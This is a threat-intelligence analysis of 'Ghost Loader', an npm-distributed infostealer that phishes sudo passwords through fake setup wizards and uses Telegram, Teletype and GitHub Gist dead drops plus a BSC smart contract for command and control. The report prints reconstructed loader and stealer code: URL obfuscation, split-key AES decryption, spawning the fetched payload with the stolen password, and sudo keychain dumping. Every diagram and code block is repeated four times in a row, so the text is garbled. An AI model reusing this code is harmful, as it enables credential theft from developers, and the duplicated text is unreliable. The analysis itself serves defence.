Phantom Menace: The Ghost Loader Infostealer Campaign

Introduction

Our in-house NPM package scanner identified a multi-stage credential stealer distributed through the npm registry. The malware, which we have dubbed "Ghost Loader" based on internal naming conventions, employs a sophisticated blockchain-based command and control infrastructure using Binance Smart Chain smart contracts, with multiple dead drop mechanisms for payload delivery.

At moment of writing, we have identified at least eight packages spanning multiple social engineering themes: React ecosystem typosquats, fake AI trading tools, fake Coinbase wallet utility, and Carbon Copy Cloner impersonation. Our analysis of the BSC smart contract configuration reveals three active affiliate partners (Steve, darkslash, Pavel), suggesting additional undiscovered packages may exist.

The packages contain a CLI "setup wizard" that tricks developers into entering their sudo password to perform "system optimizations." The captured password is then passed to a comprehensive credential stealer payload that harvests browser credentials, cryptocurrency wallets, SSH keys, cloud provider configurations, and developer tool tokens. Stolen data is routed to partner-specific Telegram bots based on a campaign identifier embedded in each loader, with credentials stored in the BSC smart contract and updated without modifying the malware itself.

Ghost Loader employs a three-stage delivery chain with interchangeable components: the initial npm package captures credentials and fetches configuration from either a Telegram channel or a Teletype.in page disguised as blockchain documentation. The loader then decodes a GitHub Gist URL and retrieves an AES-256-GCM encrypted payload. The decryption key is split across two sources, half hardcoded in the loader and half retrieved from the dead drop, making static analysis and automated sandbox execution significantly more difficult.

The malware implements a dual revenue model: primary income from credential theft routed through partner Telegram channels, and secondary income through affiliate URL redirects stored in a separate BSC targeting contract. Transaction analysis shows the infrastructure was actively updated as recently as February 5, 2026.

Our analysis indicates this is likely a Malware-as-a-Service (MaaS) offering that was, at least partially, LLM-generated. The author's GitHub activity reveals active use of jailbreak tools and AI coding agents, though our stylometric analysis could not attribute the code to any specific model. This highlights an emerging challenge: AI-assisted malware may be identifiable as such, but attributing it to specific tools or actors is becoming increasingly difficult.

Technical Analysis

Infection Chain

The infection begins when a victim user installs the malicious npm package via postinstall scripts. The packages typosquat legitimate ecosystems and tools, such as React, Carbon Copy Cloner and CoinBase.

                    ┌─────────────────────────────────┐
                    │     GHOST LOADER INFECTION      │
                    │          CHAIN v2               │
                    └───────────────┬─────────────────┘
                                    │
                    ┌───────────────┴───────────────┐
                    │                               │
                    ▼                               ▼
        ┌───────────────────┐           ┌───────────────────┐
        │  Telegram Variant │           │  Teletype Variant │
        │   (darkslash)     │           │     (Pavel)       │
        └─────────┬─────────┘           └─────────┬─────────┘
                  │                               │
                  ▼                               ▼
        ┌───────────────────┐           ┌───────────────────┐
        │ t.me/s/roblox_... │           │ teletype.in/@...  │
        │ (Telegram Channel)│           │ (Fake ETH Docs)   │
        └─────────┬─────────┘           └─────────┬─────────┘
                  │                               │
                  └───────────────┬───────────────┘
                                  │
                                  ▼
                    ┌─────────────────────────────────┐
                    │        GitHub Gist              │
                    │   (stopstalkermebitch)          │
                    │   AES-256-GCM Encrypted         │
                    └───────────────┬─────────────────┘
                                    │
                                    ▼
                    ┌─────────────────────────────────┐
                    │     Stage 2: Credential         │
                    │         Stealer                 │
                    └───────────────┬─────────────────┘
                                    │
                    ┌───────────────┴───────────────┐
                    │                               │
                    ▼                               ▼
        ┌───────────────────┐           ┌───────────────────┐
        │    BSC Config     │           │  Affiliate URLs   │
        │  0x358733fb...    │           │   0x269C185B...   │
        └─────────┬─────────┘           └─────────┬─────────┘
                  │                               │
                  ▼                               ▼
        ┌───────────────────┐           ┌───────────────────┐
        │  Partner Telegram │           │buycry[.]short[.]gy│
        │  (Steve/darkslash │           │  → nakedly[.]ai   │
        │   /Pavel)         │           │                   │
        └───────────────────┘           └───────────────────┘

                    ┌─────────────────────────────────┐
                    │     GHOST LOADER INFECTION      │
                    │          CHAIN v2               │
                    └───────────────┬─────────────────┘
                                    │
                    ┌───────────────┴───────────────┐
                    │                               │
                    ▼                               ▼
        ┌───────────────────┐           ┌───────────────────┐
        │  Telegram Variant │           │  Teletype Variant │
        │   (darkslash)     │           │     (Pavel)       │
        └─────────┬─────────┘           └─────────┬─────────┘
                  │                               │
                  ▼                               ▼
        ┌───────────────────┐           ┌───────────────────┐
        │ t.me/s/roblox_... │           │ teletype.in/@...  │
        │ (Telegram Channel)│           │ (Fake ETH Docs)   │
        └─────────┬─────────┘           └─────────┬─────────┘
                  │                               │
                  └───────────────┬───────────────┘
                                  │
                                  ▼
                    ┌─────────────────────────────────┐
                    │        GitHub Gist              │
                    │   (stopstalkermebitch)          │
                    │   AES-256-GCM Encrypted         │
                    └───────────────┬─────────────────┘
                                    │
                                    ▼
                    ┌─────────────────────────────────┐
                    │     Stage 2: Credential         │
                    │         Stealer                 │
                    └───────────────┬─────────────────┘
                                    │
                    ┌───────────────┴───────────────┐
                    │                               │
                    ▼                               ▼
        ┌───────────────────┐           ┌───────────────────┐
        │    BSC Config     │           │  Affiliate URLs   │
        │  0x358733fb...    │           │   0x269C185B...   │
        └─────────┬─────────┘           └─────────┬─────────┘
                  │                               │
                  ▼                               ▼
        ┌───────────────────┐           ┌───────────────────┐
        │  Partner Telegram │           │buycry[.]short[.]gy│
        │  (Steve/darkslash │           │  → nakedly[.]ai   │
        │   /Pavel)         │           │                   │
        └───────────────────┘           └───────────────────┘

                    ┌─────────────────────────────────┐
                    │     GHOST LOADER INFECTION      │
                    │          CHAIN v2               │
                    └───────────────┬─────────────────┘
                                    │
                    ┌───────────────┴───────────────┐
                    │                               │
                    ▼                               ▼
        ┌───────────────────┐           ┌───────────────────┐
        │  Telegram Variant │           │  Teletype Variant │
        │   (darkslash)     │           │     (Pavel)       │
        └─────────┬─────────┘           └─────────┬─────────┘
                  │                               │
                  ▼                               ▼
        ┌───────────────────┐           ┌───────────────────┐
        │ t.me/s/roblox_... │           │ teletype.in/@...  │
        │ (Telegram Channel)│           │ (Fake ETH Docs)   │
        └─────────┬─────────┘           └─────────┬─────────┘
                  │                               │
                  └───────────────┬───────────────┘
                                  │
                                  ▼
                    ┌─────────────────────────────────┐
                    │        GitHub Gist              │
                    │   (stopstalkermebitch)          │
                    │   AES-256-GCM Encrypted         │
                    └───────────────┬─────────────────┘
                                    │
                                    ▼
                    ┌─────────────────────────────────┐
                    │     Stage 2: Credential         │
                    │         Stealer                 │
                    └───────────────┬─────────────────┘
                                    │
                    ┌───────────────┴───────────────┐
                    │                               │
                    ▼                               ▼
        ┌───────────────────┐           ┌───────────────────┐
        │    BSC Config     │           │  Affiliate URLs   │
        │  0x358733fb...    │           │   0x269C185B...   │
        └─────────┬─────────┘           └─────────┬─────────┘
                  │                               │
                  ▼                               ▼
        ┌───────────────────┐           ┌───────────────────┐
        │  Partner Telegram │           │buycry[.]short[.]gy│
        │  (Steve/darkslash │           │  → nakedly[.]ai   │
        │   /Pavel)         │           │                   │
        └───────────────────┘           └───────────────────┘

                    ┌─────────────────────────────────┐
                    │     GHOST LOADER INFECTION      │
                    │          CHAIN v2               │
                    └───────────────┬─────────────────┘
                                    │
                    ┌───────────────┴───────────────┐
                    │                               │
                    ▼                               ▼
        ┌───────────────────┐           ┌───────────────────┐
        │  Telegram Variant │           │  Teletype Variant │
        │   (darkslash)     │           │     (Pavel)       │
        └─────────┬─────────┘           └─────────┬─────────┘
                  │                               │
                  ▼                               ▼
        ┌───────────────────┐           ┌───────────────────┐
        │ t.me/s/roblox_... │           │ teletype.in/@...  │
        │ (Telegram Channel)│           │ (Fake ETH Docs)   │
        └─────────┬─────────┘           └─────────┬─────────┘
                  │                               │
                  └───────────────┬───────────────┘
                                  │
                                  ▼
                    ┌─────────────────────────────────┐
                    │        GitHub Gist              │
                    │   (stopstalkermebitch)          │
                    │   AES-256-GCM Encrypted         │
                    └───────────────┬─────────────────┘
                                    │
                                    ▼
                    ┌─────────────────────────────────┐
                    │     Stage 2: Credential         │
                    │         Stealer                 │
                    └───────────────┬─────────────────┘
                                    │
                    ┌───────────────┴───────────────┐
                    │                               │
                    ▼                               ▼
        ┌───────────────────┐           ┌───────────────────┐
        │    BSC Config     │           │  Affiliate URLs   │
        │  0x358733fb...    │           │   0x269C185B...   │
        └─────────┬─────────┘           └─────────┬─────────┘
                  │                               │
                  ▼                               ▼
        ┌───────────────────┐           ┌───────────────────┐
        │  Partner Telegram │           │buycry[.]short[.]gy│
        │  (Steve/darkslash │           │  → nakedly[.]ai   │
        │   /Pavel)         │           │                   │
        └───────────────────┘           └───────────────────┘

The loader presents a minimal fake CLI interface with animated spinners and progress bars.

(async function main() {
    clear();
    console.log(bold("React State Optimizer - Setup Wizard"));
    console.log(gray("v3.0.9 | High-Performance State Management Configuration"));
    console.log("==================================================\\n");

    await delay(500);
    await spinner("Analyzing project structure...", 1500);
    await spinner("Checking package dependencies...", 1200);
    await spinner("Verifying system compatibility...", 1000);

    console.log("\\n" + bold("⚠ Optimization Required"));
    console.log(" To ensure maximum performance, this tool needs to adjust system limits (ulimit)");
    console.log(" and configure kernel parameters for high-frequency state updates.\\n");

(async function main() {
    clear();
    console.log(bold("React State Optimizer - Setup Wizard"));
    console.log(gray("v3.0.9 | High-Performance State Management Configuration"));
    console.log("==================================================\\n");

    await delay(500);
    await spinner("Analyzing project structure...", 1500);
    await spinner("Checking package dependencies...", 1200);
    await spinner("Verifying system compatibility...", 1000);

    console.log("\\n" + bold("⚠ Optimization Required"));
    console.log(" To ensure maximum performance, this tool needs to adjust system limits (ulimit)");
    console.log(" and configure kernel parameters for high-frequency state updates.\\n");

(async function main() {
    clear();
    console.log(bold("React State Optimizer - Setup Wizard"));
    console.log(gray("v3.0.9 | High-Performance State Management Configuration"));
    console.log("==================================================\\n");

    await delay(500);
    await spinner("Analyzing project structure...", 1500);
    await spinner("Checking package dependencies...", 1200);
    await spinner("Verifying system compatibility...", 1000);

    console.log("\\n" + bold("⚠ Optimization Required"));
    console.log(" To ensure maximum performance, this tool needs to adjust system limits (ulimit)");
    console.log(" and configure kernel parameters for high-frequency state updates.\\n");

(async function main() {
    clear();
    console.log(bold("React State Optimizer - Setup Wizard"));
    console.log(gray("v3.0.9 | High-Performance State Management Configuration"));
    console.log("==================================================\\n");

    await delay(500);
    await spinner("Analyzing project structure...", 1500);
    await spinner("Checking package dependencies...", 1200);
    await spinner("Verifying system compatibility...", 1000);

    console.log("\\n" + bold("⚠ Optimization Required"));
    console.log(" To ensure maximum performance, this tool needs to adjust system limits (ulimit)");
    console.log(" and configure kernel parameters for high-frequency state updates.\\n");

It claims to need sudo access to "adjust system limits (ulimit) and configure kernel parameters for high-frequency state updates." When the user enters their password, the loader validates it against the system, captures it, and passes it to the Stage 2 payload.

The loader then fetches the attacker-controlled Telegram channel's public HTML page, extracts a base64-encoded GitHub Gist URL from a channel post, and retrieves the second half of the decryption key from the channel bio, which the attacker marked as bitcoin wallet but it is not a valid address. After decrypting the payload with the combined key, it spawns the infostealer payload as a child process, with the captured password available via environment variable.

Stage 1: Loader

The loader (scripts/setup.js) prompts the user to insert the sudo password and validates it with sudo -S -v -k. The -k flag invalidates the cached credential, -v validates without running a command, and -S reads from stdin. This loop ensures the attacker only receives valid credentials.

It then decodes the Telegram channel URL, encoded in base64 and with characters reversed:

// Obfuscated Telegram Channel URL
const _0x12a = "dGk3dzM4dHl0NDhmX3hvbGJvci9zL2VtLnQvLzpzcHR0aA==";
const CONFIG_ENDPOINT = Buffer.from(_0x12a, 'base64').toString().split('').reverse().join('');
// Result: <https://t>[.]me/s/roblox_f84tyt83w7it

const INIT_SESSION_TOKEN = "ef36142cde72f97c25cdd1f4f2b40da8";  // First 16 bytes of key

// Obfuscated Telegram Channel URL
const _0x12a = "dGk3dzM4dHl0NDhmX3hvbGJvci9zL2VtLnQvLzpzcHR0aA==";
const CONFIG_ENDPOINT = Buffer.from(_0x12a, 'base64').toString().split('').reverse().join('');
// Result: <https://t>[.]me/s/roblox_f84tyt83w7it

const INIT_SESSION_TOKEN = "ef36142cde72f97c25cdd1f4f2b40da8";  // First 16 bytes of key

// Obfuscated Telegram Channel URL
const _0x12a = "dGk3dzM4dHl0NDhmX3hvbGJvci9zL2VtLnQvLzpzcHR0aA==";
const CONFIG_ENDPOINT = Buffer.from(_0x12a, 'base64').toString().split('').reverse().join('');
// Result: <https://t>[.]me/s/roblox_f84tyt83w7it

const INIT_SESSION_TOKEN = "ef36142cde72f97c25cdd1f4f2b40da8";  // First 16 bytes of key

// Obfuscated Telegram Channel URL
const _0x12a = "dGk3dzM4dHl0NDhmX3hvbGJvci9zL2VtLnQvLzpzcHR0aA==";
const CONFIG_ENDPOINT = Buffer.from(_0x12a, 'base64').toString().split('').reverse().join('');
// Result: <https://t>[.]me/s/roblox_f84tyt83w7it

const INIT_SESSION_TOKEN = "ef36142cde72f97c25cdd1f4f2b40da8";  // First 16 bytes of key

The final Telegram URL contains:

• The github gist URL encoded in base64 as a preview message sent on Feb 3, 2026

• The fake BTC wallet of the attacker in the bio

The string in the channel bio is used to extract the second half of the decryption key.

// Strategy 1: OG Description meta tag
const ogMatch = html.match(/<meta property="og:description" content="([^"]+)">/);
if (ogMatch) {
    const match = ogMatch[1].match(/[a-fA-F0-9]{32}/);
    if (match) keyPartB = match[0];
}

// Strategy 2: Blind search for 32-char hex strings
if (!keyPartB) {
    const matches = [...html.matchAll(/[a-fA-F0-9]{32}/g)];
    for (const m of matches) {
        if (!m[0].match(/^[0-9]+$/)) {  // Exclude pure numeric strings
            keyPartB = m[0];
            break;
        }
    }
}

// Strategy 1: OG Description meta tag
const ogMatch = html.match(/<meta property="og:description" content="([^"]+)">/);
if (ogMatch) {
    const match = ogMatch[1].match(/[a-fA-F0-9]{32}/);
    if (match) keyPartB = match[0];
}

// Strategy 2: Blind search for 32-char hex strings
if (!keyPartB) {
    const matches = [...html.matchAll(/[a-fA-F0-9]{32}/g)];
    for (const m of matches) {
        if (!m[0].match(/^[0-9]+$/)) {  // Exclude pure numeric strings
            keyPartB = m[0];
            break;
        }
    }
}

// Strategy 1: OG Description meta tag
const ogMatch = html.match(/<meta property="og:description" content="([^"]+)">/);
if (ogMatch) {
    const match = ogMatch[1].match(/[a-fA-F0-9]{32}/);
    if (match) keyPartB = match[0];
}

// Strategy 2: Blind search for 32-char hex strings
if (!keyPartB) {
    const matches = [...html.matchAll(/[a-fA-F0-9]{32}/g)];
    for (const m of matches) {
        if (!m[0].match(/^[0-9]+$/)) {  // Exclude pure numeric strings
            keyPartB = m[0];
            break;
        }
    }
}

// Strategy 1: OG Description meta tag
const ogMatch = html.match(/<meta property="og:description" content="([^"]+)">/);
if (ogMatch) {
    const match = ogMatch[1].match(/[a-fA-F0-9]{32}/);
    if (match) keyPartB = match[0];
}

// Strategy 2: Blind search for 32-char hex strings
if (!keyPartB) {
    const matches = [...html.matchAll(/[a-fA-F0-9]{32}/g)];
    for (const m of matches) {
        if (!m[0].match(/^[0-9]+$/)) {  // Exclude pure numeric strings
            keyPartB = m[0];
            break;
        }
    }
}

Finally, the loader then searches for the base64-encoded GitHub Gist URLs which hosts the encrypted second stage payload.

// Find base64-encoded URLs starting with "https://" (aHR0cHM6 in base64)
let gistUrl = null;
const b64Matches = [...html.matchAll(/aHR0cHM6[a-zA-Z0-9+/=]+/g)];
if (b64Matches.length > 0) {
    try {
        const decoded = Buffer.from(b64Matches[b64Matches.length - 1][0], 'base64').toString('utf8');
        if (decoded.startsWith('https://')) gistUrl = decoded;
    } catch (e) { }
}

// Find base64-encoded URLs starting with "https://" (aHR0cHM6 in base64)
let gistUrl = null;
const b64Matches = [...html.matchAll(/aHR0cHM6[a-zA-Z0-9+/=]+/g)];
if (b64Matches.length > 0) {
    try {
        const decoded = Buffer.from(b64Matches[b64Matches.length - 1][0], 'base64').toString('utf8');
        if (decoded.startsWith('https://')) gistUrl = decoded;
    } catch (e) { }
}

// Find base64-encoded URLs starting with "https://" (aHR0cHM6 in base64)
let gistUrl = null;
const b64Matches = [...html.matchAll(/aHR0cHM6[a-zA-Z0-9+/=]+/g)];
if (b64Matches.length > 0) {
    try {
        const decoded = Buffer.from(b64Matches[b64Matches.length - 1][0], 'base64').toString('utf8');
        if (decoded.startsWith('https://')) gistUrl = decoded;
    } catch (e) { }
}

// Find base64-encoded URLs starting with "https://" (aHR0cHM6 in base64)
let gistUrl = null;
const b64Matches = [...html.matchAll(/aHR0cHM6[a-zA-Z0-9+/=]+/g)];
if (b64Matches.length > 0) {
    try {
        const decoded = Buffer.from(b64Matches[b64Matches.length - 1][0], 'base64').toString('utf8');
        if (decoded.startsWith('https://')) gistUrl = decoded;
    } catch (e) { }
}

The final gist URL decodes to:

<https://gist>[.]githubusercontent[.]com/stopstalkermebitch/3b61920dbbaa62ec32df1b2a414bec82/raw/2409e2cb6df4cc5c82fbb47e7cf0f1c27d95177d/npm_init_gist.txt

<https://gist>[.]githubusercontent[.]com/stopstalkermebitch/3b61920dbbaa62ec32df1b2a414bec82/raw/2409e2cb6df4cc5c82fbb47e7cf0f1c27d95177d/npm_init_gist.txt

<https://gist>[.]githubusercontent[.]com/stopstalkermebitch/3b61920dbbaa62ec32df1b2a414bec82/raw/2409e2cb6df4cc5c82fbb47e7cf0f1c27d95177d/npm_init_gist.txt

<https://gist>[.]githubusercontent[.]com/stopstalkermebitch/3b61920dbbaa62ec32df1b2a414bec82/raw/2409e2cb6df4cc5c82fbb47e7cf0f1c27d95177d/npm_init_gist.txt

The retrieved file, npm_init_gist.txt , is the encrypted, second stage payload which is decrypted and spawned by the initial setup.js file contained in the NPM package.

// Decrypt using AES-256-GCM
const key = Buffer.from(INIT_SESSION_TOKEN + keyPartB, 'hex');  // 32 bytes
const iv = encryptedBlob.slice(0, 16);
const tag = encryptedBlob.slice(16, 32);
const text = encryptedBlob.slice(32);

const decipher = crypto.createDecipheriv('aes-256-gcm', key, iv);
decipher.setAuthTag(tag);
let decrypted = decipher.update(text);
decrypted = Buffer.concat([decrypted, decipher.final()]);

// Write to temp file and execute
const tempFile = path.join(os.tmpdir(), `sys-opt-${Date.now()}.js`);
fs.writeFileSync(tempFile, decrypted);

const child = spawn(process.execPath, [tempFile], {
    stdio: debugMode ? 'inherit' : 'ignore',
    detached: !debugMode,
    env: {
        ...process.env,
        GHOST_CID: 'darkslash',           // Campaign identifier
        GHOST_PWD: capturedPassword,       // Captured sudo password
        GHOST_DECRYPTOR: path.join(__dirname, 'decryptor')
    }
});

// Decrypt using AES-256-GCM
const key = Buffer.from(INIT_SESSION_TOKEN + keyPartB, 'hex');  // 32 bytes
const iv = encryptedBlob.slice(0, 16);
const tag = encryptedBlob.slice(16, 32);
const text = encryptedBlob.slice(32);

const decipher = crypto.createDecipheriv('aes-256-gcm', key, iv);
decipher.setAuthTag(tag);
let decrypted = decipher.update(text);
decrypted = Buffer.concat([decrypted, decipher.final()]);

// Write to temp file and execute
const tempFile = path.join(os.tmpdir(), `sys-opt-${Date.now()}.js`);
fs.writeFileSync(tempFile, decrypted);

const child = spawn(process.execPath, [tempFile], {
    stdio: debugMode ? 'inherit' : 'ignore',
    detached: !debugMode,
    env: {
        ...process.env,
        GHOST_CID: 'darkslash',           // Campaign identifier
        GHOST_PWD: capturedPassword,       // Captured sudo password
        GHOST_DECRYPTOR: path.join(__dirname, 'decryptor')
    }
});

// Decrypt using AES-256-GCM
const key = Buffer.from(INIT_SESSION_TOKEN + keyPartB, 'hex');  // 32 bytes
const iv = encryptedBlob.slice(0, 16);
const tag = encryptedBlob.slice(16, 32);
const text = encryptedBlob.slice(32);

const decipher = crypto.createDecipheriv('aes-256-gcm', key, iv);
decipher.setAuthTag(tag);
let decrypted = decipher.update(text);
decrypted = Buffer.concat([decrypted, decipher.final()]);

// Write to temp file and execute
const tempFile = path.join(os.tmpdir(), `sys-opt-${Date.now()}.js`);
fs.writeFileSync(tempFile, decrypted);

const child = spawn(process.execPath, [tempFile], {
    stdio: debugMode ? 'inherit' : 'ignore',
    detached: !debugMode,
    env: {
        ...process.env,
        GHOST_CID: 'darkslash',           // Campaign identifier
        GHOST_PWD: capturedPassword,       // Captured sudo password
        GHOST_DECRYPTOR: path.join(__dirname, 'decryptor')
    }
});

// Decrypt using AES-256-GCM
const key = Buffer.from(INIT_SESSION_TOKEN + keyPartB, 'hex');  // 32 bytes
const iv = encryptedBlob.slice(0, 16);
const tag = encryptedBlob.slice(16, 32);
const text = encryptedBlob.slice(32);

const decipher = crypto.createDecipheriv('aes-256-gcm', key, iv);
decipher.setAuthTag(tag);
let decrypted = decipher.update(text);
decrypted = Buffer.concat([decrypted, decipher.final()]);

// Write to temp file and execute
const tempFile = path.join(os.tmpdir(), `sys-opt-${Date.now()}.js`);
fs.writeFileSync(tempFile, decrypted);

const child = spawn(process.execPath, [tempFile], {
    stdio: debugMode ? 'inherit' : 'ignore',
    detached: !debugMode,
    env: {
        ...process.env,
        GHOST_CID: 'darkslash',           // Campaign identifier
        GHOST_PWD: capturedPassword,       // Captured sudo password
        GHOST_DECRYPTOR: path.join(__dirname, 'decryptor')
    }
});

The captured sudo password is passed to the Stage 2 payload via the GHOST_PWD environment variable.

In addition to the Telegram channel dead drop mechanism, we have identified a new variant using Teletype.in as an alternative configuration distribution platform. This variant, discovered on February 5, 2026, impersonates "Coinbase Desktop Wallet SDK" and is attributed to the "Pavel" partner.

The loader fetches configuration from a Teletype.in page disguised as legitimate blockchain documentation:

Dead Drop URL: <https://teletype.in/@youtubeshorts/4rhoJvGx1pK>

The page is titled "Ethereum Smart Contract Verification" and contains fake technical information to appear legitimate. Hidden within the content are two critical values:

The "ABI Hash" decodes to the same GitHub Gist used by other variants:

https://gist.githubusercontent.com/stopstalkermebitch/3b61920dbbaa62ec32df1b2a414bec82/raw/.../npm_init_gist.txt

This variant presents as a legitimate Coinbase wallet integration tool with a fake UI:

console.log(bold("Coinbase Desktop Wallet SDK"));
console.log(gray("v1.5.14 | Secure Wallet Integration Suite"));
console.log(gray("Copyright (c) 2024 Coinbase, Inc.\\n"));

// Progress bars with realistic timing
await realisticProgressBar("Wallet Core");
logSystem("Loaded 847 cryptographic modules in 0.3s");
await realisticProgressBar("Hardware Wallet Bridge");
logSystem("USB HID driver compatible");
await realisticProgressBar("Keychain Access");

// Fake keychain authorization prompt
console.log(yellow(bold("⚠ Keychain Authorization Required")));
console.log(white("To securely store wallet credentials in the macOS Keychain,"));
console.log(white("administrator privileges are required for the initial setup."));

console.log(bold("Coinbase Desktop Wallet SDK"));
console.log(gray("v1.5.14 | Secure Wallet Integration Suite"));
console.log(gray("Copyright (c) 2024 Coinbase, Inc.\\n"));

// Progress bars with realistic timing
await realisticProgressBar("Wallet Core");
logSystem("Loaded 847 cryptographic modules in 0.3s");
await realisticProgressBar("Hardware Wallet Bridge");
logSystem("USB HID driver compatible");
await realisticProgressBar("Keychain Access");

// Fake keychain authorization prompt
console.log(yellow(bold("⚠ Keychain Authorization Required")));
console.log(white("To securely store wallet credentials in the macOS Keychain,"));
console.log(white("administrator privileges are required for the initial setup."));

console.log(bold("Coinbase Desktop Wallet SDK"));
console.log(gray("v1.5.14 | Secure Wallet Integration Suite"));
console.log(gray("Copyright (c) 2024 Coinbase, Inc.\\n"));

// Progress bars with realistic timing
await realisticProgressBar("Wallet Core");
logSystem("Loaded 847 cryptographic modules in 0.3s");
await realisticProgressBar("Hardware Wallet Bridge");
logSystem("USB HID driver compatible");
await realisticProgressBar("Keychain Access");

// Fake keychain authorization prompt
console.log(yellow(bold("⚠ Keychain Authorization Required")));
console.log(white("To securely store wallet credentials in the macOS Keychain,"));
console.log(white("administrator privileges are required for the initial setup."));

console.log(bold("Coinbase Desktop Wallet SDK"));
console.log(gray("v1.5.14 | Secure Wallet Integration Suite"));
console.log(gray("Copyright (c) 2024 Coinbase, Inc.\\n"));

// Progress bars with realistic timing
await realisticProgressBar("Wallet Core");
logSystem("Loaded 847 cryptographic modules in 0.3s");
await realisticProgressBar("Hardware Wallet Bridge");
logSystem("USB HID driver compatible");
await realisticProgressBar("Keychain Access");

// Fake keychain authorization prompt
console.log(yellow(bold("⚠ Keychain Authorization Required")));
console.log(white("To securely store wallet credentials in the macOS Keychain,"));
console.log(white("administrator privileges are required for the initial setup."));

The loader checks for passwordless accounts using dscl . -authonly before prompting for credentials.

Stage 2: Credential Stealer Payload

The full decrypted payload is a comprehensive credential stealer implemented in Node.js and protected with obfuscator.io transformations. It employs obfuscator.io transformations including string array rotation with a checksum-validated shuffle. Strings are stored in an array and accessed through a decoder function.

The decryption key is split across two sources to defeat automated analysis:

This ensures the payload cannot be decrypted without access to the Telegram channel.

The malware reads the captured password from process.env.GHOST_PWD and escalates to the root user to access protected system resources.

Collection Functions

The malware implements dedicated stealer functions for each data type:

Loot Organization

The stolen credentials and sensitive information are then stored into the loot folder in a hierarchical structure.

loot/
├── Cloud/
│   ├── AWS/
│   ├── Azure/
│   ├── Docker/
│   └── Kube/
├── SSH/
├── Dev/
│   ├── GitHub/
│   └── Yarn/
└──

loot/
├── Cloud/
│   ├── AWS/
│   ├── Azure/
│   ├── Docker/
│   └── Kube/
├── SSH/
├── Dev/
│   ├── GitHub/
│   └── Yarn/
└──

loot/
├── Cloud/
│   ├── AWS/
│   ├── Azure/
│   ├── Docker/
│   └── Kube/
├── SSH/
├── Dev/
│   ├── GitHub/
│   └── Yarn/
└──

loot/
├── Cloud/
│   ├── AWS/
│   ├── Azure/
│   ├── Docker/
│   └── Kube/
├── SSH/
├── Dev/
│   ├── GitHub/
│   └── Yarn/
└──

This malware is particularly exhaustive in collecting developer credentials, wallets, SSH keys and cloud configuration files. The full tables of targeted paths is available in the Appendix.

If certain files are protected, the malware uses the captured sudo password for privileged operations.

// Access macOS Keychain
function accessKeychain() {
    const password = process.env.GHOST_PWD;
    const result = spawnSync('sudo', ['-S', 'security', 'dump-keychain', '-d'], {
        input: password + '\\n',
        encoding: 'utf8'
    });
    return result.stdout;
}

// Access protected files
function readProtectedFile(filePath) {
    const password = process.env.GHOST_PWD;
    const result = spawnSync('sudo', ['-S', 'cat', filePath], {
        input: password + '\\n',
        encoding: 'utf8'
    });
    return result.stdout;
}

// Access macOS Keychain
function accessKeychain() {
    const password = process.env.GHOST_PWD;
    const result = spawnSync('sudo', ['-S', 'security', 'dump-keychain', '-d'], {
        input: password + '\\n',
        encoding: 'utf8'
    });
    return result.stdout;
}

// Access protected files
function readProtectedFile(filePath) {
    const password = process.env.GHOST_PWD;
    const result = spawnSync('sudo', ['-S', 'cat', filePath], {
        input: password + '\\n',
        encoding: 'utf8'
    });
    return result.stdout;
}

// Access macOS Keychain
function accessKeychain() {
    const password = process.env.GHOST_PWD;
    const result = spawnSync('sudo', ['-S', 'security', 'dump-keychain', '-d'], {
        input: password + '\\n',
        encoding: 'utf8'
    });
    return result.stdout;
}

// Access protected files
function readProtectedFile(filePath) {
    const password = process.env.GHOST_PWD;
    const result = spawnSync('sudo', ['-S', 'cat', filePath], {
        input: password + '\\n',
        encoding: 'utf8'
    });
    return result.stdout;
}

// Access macOS Keychain
function accessKeychain() {
    const password = process.env.GHOST_PWD;
    const result = spawnSync('sudo', ['-S', 'security', 'dump-keychain', '-d'], {
        input: password + '\\n',
        encoding: 'utf8'
    });
    return result.stdout;
}

// Access protected files
function readProtectedFile(filePath) {
    const password = process.env.GHOST_PWD;
    const result = spawnSync('sudo', ['-S', 'cat', filePath], {
        input: password + '\\n',
        encoding: 'utf8'
    });
    return result.stdout;
}

Blockchain C2 Infrastructure

Analysis of the obfuscated Stage 2 payload revealed the BSC smart contract address through a known-plaintext attack on the string array rotation. The deobfuscation identified a rotation count of 482, which successfully decoded the contract address fragments.

The payload queries contract 0x358733fb7F3d00324A3825c6A0cF54751841C162 using eth_call with selector 0x358733fb:

// Reconstructed from deobfuscated code
async function fetchConfigFromBSC() {
  const CONFIG_SELECTOR = '0x358733fb';
  const CONTRACT_ADDRESS = '0x358733fb7F3d00324A3825c6A0cF54751841C162';
  
  const BSC_RPCS = [
    '<https://bsc-dataseed.binance.org>',
    '<https://bsc-dataseed1.defibit.io>',
    '<https://bsc-dataseed1.ninicoin.io>'
  ];
  
  // JSON-RPC eth_call
  const payload = {
    jsonrpc: "2.0",
    method: "eth_call",
    params: [{
      to: CONTRACT_ADDRESS,
      data: CONFIG_SELECTOR
    }, "latest"]
  };
}

// Reconstructed from deobfuscated code
async function fetchConfigFromBSC() {
  const CONFIG_SELECTOR = '0x358733fb';
  const CONTRACT_ADDRESS = '0x358733fb7F3d00324A3825c6A0cF54751841C162';
  
  const BSC_RPCS = [
    '<https://bsc-dataseed.binance.org>',
    '<https://bsc-dataseed1.defibit.io>',
    '<https://bsc-dataseed1.ninicoin.io>'
  ];
  
  // JSON-RPC eth_call
  const payload = {
    jsonrpc: "2.0",
    method: "eth_call",
    params: [{
      to: CONTRACT_ADDRESS,
      data: CONFIG_SELECTOR
    }, "latest"]
  };
}

// Reconstructed from deobfuscated code
async function fetchConfigFromBSC() {
  const CONFIG_SELECTOR = '0x358733fb';
  const CONTRACT_ADDRESS = '0x358733fb7F3d00324A3825c6A0cF54751841C162';
  
  const BSC_RPCS = [
    '<https://bsc-dataseed.binance.org>',
    '<https://bsc-dataseed1.defibit.io>',
    '<https://bsc-dataseed1.ninicoin.io>'
  ];
  
  // JSON-RPC eth_call
  const payload = {
    jsonrpc: "2.0",
    method: "eth_call",
    params: [{
      to: CONTRACT_ADDRESS,
      data: CONFIG_SELECTOR
    }, "latest"]
  };
}

// Reconstructed from deobfuscated code
async function fetchConfigFromBSC() {
  const CONFIG_SELECTOR = '0x358733fb';
  const CONTRACT_ADDRESS = '0x358733fb7F3d00324A3825c6A0cF54751841C162';
  
  const BSC_RPCS = [
    '<https://bsc-dataseed.binance.org>',
    '<https://bsc-dataseed1.defibit.io>',
    '<https://bsc-dataseed1.ninicoin.io>'
  ];
  
  // JSON-RPC eth_call
  const payload = {
    jsonrpc: "2.0",
    method: "eth_call",
    params: [{
      to: CONTRACT_ADDRESS,
      data: CONFIG_SELECTOR
    }, "latest"]
  };
}

